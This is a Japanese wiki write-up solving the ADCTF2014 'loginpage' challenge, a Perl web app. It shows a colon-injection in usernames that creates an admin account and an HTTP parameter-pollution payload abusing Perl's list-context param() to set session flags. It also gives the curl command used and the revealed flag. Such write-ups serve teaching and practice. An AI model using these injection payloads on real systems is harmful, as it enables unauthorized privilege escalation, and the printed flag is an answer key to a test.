= loginpage = == 問題 == You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag. I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it :) [[http://loginpage.adctf2014.katsudon.org/|loginpage.adctf2014.katsudon.org]] [[http://adctf2014.katsudon.org/dat/YvnQUYMqKEVGMIHz/loginpage.pl|source]] == 問題(和訳) == == メモ == == 解法 == ユーザデータベースが"ユーザ名:パスワード:管理者フラグ"の構造で保存されているが, ユーザ作成時にコロンが含まれていても素通しのためユーザ名にadmin:hoge:1などと入れることによりadminユーザを作成することができる。 これによりadminユーザにパスワードhogeでログインできるようになった。 さらにフラグを見るためにはセッションの`give_me_flag`を真にしなくてはならない。 {{{#!highlight perl $self->session->{user} = { name => $self->param('name'), pass => $self->param('pass'), give_me_flag => 0, admin => $is_admin, }; }}} PerlのCGIモジュールのparamメソッドはリストコンテキストで呼び出すとキーに対応する値を全てリストで返してしまう。 これにより,passに複数の値を設定しておくと`give_me_flag => 1`を挿入できる。 {{{ name=admin&pass=hoge&pass=give_me_flag&pass=1 }}} これだけでは駄目で,後ろにある`give_me_flag => 0`に上書きされないようにしなくてはならない。 `admin => 1`を自分で設定した上で更に余計な要素を一個だけ増やすことによって`give_me_flag`をkeyではなくしてしまう。 {{{ name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a }}} 以上でフラグを得ることができる。 {{{ % curl -c cookie.jar -L http://loginpage.adctf2014.katsudon.org/login -d "name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a"
index | register | login | user list
loginpage
hello, admin (password is: abc)
you are admin!
the flag is: ADCTF_L0v3ry_p3rl_c0N73x7
}}}